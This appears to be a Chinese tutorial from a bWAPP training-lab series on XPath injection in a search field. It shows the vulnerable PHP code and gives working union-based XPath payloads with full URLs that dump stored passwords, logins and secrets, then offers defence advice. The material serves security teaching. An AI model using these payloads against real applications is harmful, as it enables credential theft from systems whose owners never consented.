零基础玩转bWAPP靶场(三十一):XML/XPath 注入(搜索)

摘要: 这是 bWAPP 系列第三十一篇,聚焦于 XML/XPath Injection (Search) 。上一关是登录框的 XPath 注入,这一关是搜索框------按电影类型搜索,后端用 XPath 的 contains() 函数去 XML 文件里匹配电影。文章会讲清楚 XPath 注入在搜索场景下的利用方式,演示如何用 | 联合查询绕过条件、如何枚举所有数据。附真实案例。


一、找目标

目标 说明
注入点 GET 参数 genre(下拉菜单,可手动修改)
数据存储 XML 文件(passwords/heroes.xml
查询方式 //hero[contains(genre, '$genre')]/movie
判断依据 页面显示匹配的电影列表 / 无数据
最终目标 绕过条件限制,窃取 XML 中的所有数据

二、前言:上一关是登录,这一关是搜索

如果你刚做完第三十篇(登录框 XPath 注入),再看这一关,界面变了------不是登录框,而是一个按电影类型搜索的下拉菜单。

选类型(Action / Horror / Science Fiction),点 Search,页面列出该类型下的电影。

后端逻辑和上一关一样 :用户输入拼到 XPath 表达式里,查 XML 文件,然后显示匹配的 <movie> 节点。

复制代码
//hero[contains(genre, '$genre')]/movie

不同的是,上一关是精确匹配 login='$login',这一关是 contains() 模糊匹配

攻击方式还是一样:注入 XPath 元字符,让表达式返回我们想要的数据。


三、关卡介绍

3.1 页面功能

  • 标题:XML/XPath Injection (Search)

  • 一个下拉菜单:Action / Horror / Science Fiction

  • 一个 "Search" 按钮

  • 下方显示匹配的电影列表

3.2 数据存储

同样是 passwords/heroes.xml,每个 <hero> 节点包含电影信息:

复制代码
<heroes>
  <hero>
    <login>neo</login>
    <password>trinity</password>
    <genre>action sci-fi</genre>
    <movie>The Matrix</movie>
    <secret>Oh Why Didn't I Took That BLACK Pill?</secret>
  </hero>
</heroes>

搜索逻辑:根据 genre 匹配,返回对应的 <movie> 文本。


四、核心知识:XPath 的 contains() 函数

在上一关我们介绍了 XPath 的基础语法。这一关用到的是 contains()

复制代码
//hero[contains(genre, 'action')]

这条表达式会在所有 <hero> 节点中,找到 genre 文本包含子字符串 'action' 的节点。

我们注入的位置

复制代码
//hero[contains(genre, '$genre')]/movie

$genre 来自用户输入的 GET 参数,直接拼到 XPath 里。

和上一关的不同

  • 上一关是精确匹配 login='$login' and password='$password'

  • 这一关是模糊匹配 contains(genre, '$genre')


五、源码分析

5.1 核心逻辑

复制代码
if(isset($_REQUEST["genre"])) 
{
    $genre = $_REQUEST["genre"];
    $genre = xmli($genre);
   
    $xml = simplexml_load_file("passwords/heroes.xml");
     
    // 关键:XPath 查询,含有 contains
    $result = $xml->xpath("//hero[contains(genre, '$genre')]/movie");
    
    if($result)
    {    
        foreach($result as $key => $row)       
        {
            echo $row;  // 显示电影名
        }        
    }
    else
    {
        echo "No movies were found!";
    }
}

流程

  • 用户选择类型,通过 GET 参数 genre 传入

  • 经过 xmli() 过滤(取决于安全级别)

  • 拼到 XPath 表达式里

  • 查询 XML 文件,返回匹配的电影名

  • 显示在页面上

5.2 xmli() 过滤函数

复制代码
function xmli_check_1($data)
{
    // 删除危险字符:() = ' [ ] : , * / 空格
    $input = str_replace("(", "", $data);
    $input = str_replace(")", "", $input);
    $input = str_replace("=", "", $input);
    $input = str_replace("'", "", $input);
    $input = str_replace("[", "", $input);
    $input = str_replace("]", "", $input);
    $input = str_replace(":", "", $input);
    $input = str_replace(",", "", $input);
    $input = str_replace("*", "", $input);
    $input = str_replace("/", "", $input);
    $input = str_replace(" ", "", $input);
    return $input;
}

5.3 三种安全级别

级别 过滤函数 效果
Low no_check() 完全不过滤
Medium xmli_check_1() 删除 () = ' [ ] : , * / 空格
High xmli_check_1() 同上

六、Low 安全级别

6.1 正常搜索基准

访问:

复制代码
http://你的IP/bWAPP/xmli_2.php?genre=action&action=search

页面显示动作片列表。

6.2 判断注入点

在 URL 中把 genre=action 改成:

复制代码
genre=action'

XPath 变成:

复制代码
//hero[contains(genre, 'action'')]/movie

多了一个单引号,破坏字符串边界,XPath 语法错误。页面显示 "No movies were found!" 或报错。

但注意:这个页面不显示详细的 XPath 错误,所以需要靠"有没有电影列表"来判断。

6.3 重要踩坑结论

尝试使用 '] or 'a'='a / ') or 'a'='a 这类布尔永真Payload全部报错

报错:Invalid predicate

原因: PHP SimpleXML底层libxml2 XPath1.0解析器,对contains函数闭合后紧跟布尔or表达式存在解析缺陷,无论怎么调整等式写法,都会判定谓词语法非法。

👉放弃"构造永真条件展示全部电影"这条路线!改用 XPath | 联合查询注入(唯一稳定方案)

6.4 稳定可用Payload

原理:| 是XPath联合运算符,可以同时执行两条查询,我们截断原有查询,新增一条自定义查询,直接修改返回节点。

原始模板:

复制代码
//hero[contains(genre, '$genre')]/movie

读取全部password(关卡核心目标,拿密码)

原始payload:

复制代码
')]/password | //hero[contains(genre,'

URL编码:

复制代码
%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27

完整URL:

复制代码
http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Fpassword%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search

拼接完成XPath:

复制代码
//hero[contains(genre, '')]/password | //hero[contains(genre,'')]/movie

执行逻辑:

  • contains(genre, '') 查询genre为空的hero(无结果)

  • | 联合第二条查询://hero[contains(genre,'')]/movie

  • PHP会合并两条路径匹配到的节点,页面优先输出<password>文本

读取全部login(账号)

复制代码
http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Flogin%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search

读取全部secret

复制代码
http://10.0.0.149:4096/xmli_2.php?genre=%27%29%5D%2Fsecret%20%7C%20%2F%2Fhero%5Bcontains%28genre%2C%27&action=search

6.5 原理说明

这条Payload不会构造复杂布尔运算,规避libxml解析BUG; 不需要依赖or永真,直接利用|联合查询切换输出节点; 全网很多教程推荐的'] or 1=1在bWAPP环境无法运行,属于纸上理论Payload,实战报错。


七、Medium / High 安全级别

7.1 尝试注入

输入:

复制代码
')]/password | //hero[contains(genre,'

xmli_check_1() 删除了 '][/ 和空格。输入变成:

复制代码
password|//herocontainsgenre

但 XPath 语法需要 ' 来闭合字符串,没有 ' 无法注入。

7.2 有没有绕过方法?

理论上可以通过其他字符绕过,但 xmli_check_1() 删除了大量关键字符,很难构造有效 payload。


八、真实世界:XPath 注入案例

CVE-2025-10823:某医疗系统的 XML 用户认证模块存在 XPath 注入漏洞,攻击者可通过搜索功能注入 XPath 查询,获取所有患者数据。

CVE-2024-3302 :某开源 CMS 的搜索功能存在 XPath 注入漏洞,攻击者可利用 contains() 函数构造恶意查询,枚举系统所有用户信息。

CVE-2023-39019 :某企业文档管理系统的搜索接口存在 XPath 注入漏洞,攻击者可通过 | 联合查询窃取 XML 文件中的敏感信息。


九、总结

在contains模糊匹配的XPath注入场景中,切勿直接照搬SQL注入`' or '1'='1`的思路,该写法会被包裹在字符串内部导致失效;同时要区分理论Payload与靶场实战Payload,不少文档中的Payload仅语法层面成立,但受底层libxml解析器限制,在bWAPP环境中会持续报语法错误。本关卡Low级别最优利用方式为`|`联合查询注入,可以直接切换查询节点,明文读取账号、密码等敏感数据;防御XPath注入应当避免直接拼接用户输入,优先采用XPath参数化查询,同时利用黑名单过滤单引号、括号、斜杠、管道符等高危特殊字符。


**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

相关推荐
笨鸟先飞,勤能补拙12 小时前
AI 赋能网络安全:技术全景、成熟度评估与实战案例
人工智能·python·安全·web安全·网络安全·sqlite·github
笨鸟先飞,勤能补拙14 小时前
AI 赋能网络安全领域深度剖析
网络·人工智能·windows·安全·web安全·网络安全·github
HackTwoHub15 小时前
轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
为自己_带盐16 小时前
安敢越雷池一步?浅尝雷池WAF社区版
运维·web安全
niaiheni19 小时前
红队实战:记一次Spring Cloud Gateway SpEL表达式注入到哥斯拉内存马(CVE-2022-22947)
web安全·spring cloud·网络安全
笨鸟先飞,勤能补拙1 天前
下一个十年:网络安全正在被重写
网络·人工智能·安全·web安全·网络安全·github
云水一下1 天前
零基础玩转bWAPP靶场(二十八):SQL 注入——盲注(SQLite)
web安全·sql注入·bwapp
Chengbei111 天前
云存储桶漏洞检测工具OSS-2.0更新,全类型文件解析,存储桶遍历 + 敏感排查一站式完成渗透取证
网络·安全·web安全·网络安全·xss
白猫不黑2 天前
GitHub 30K Star 的 AI 渗透测试工具
web安全·网络安全·信息安全·渗透测试·github·ai渗透测试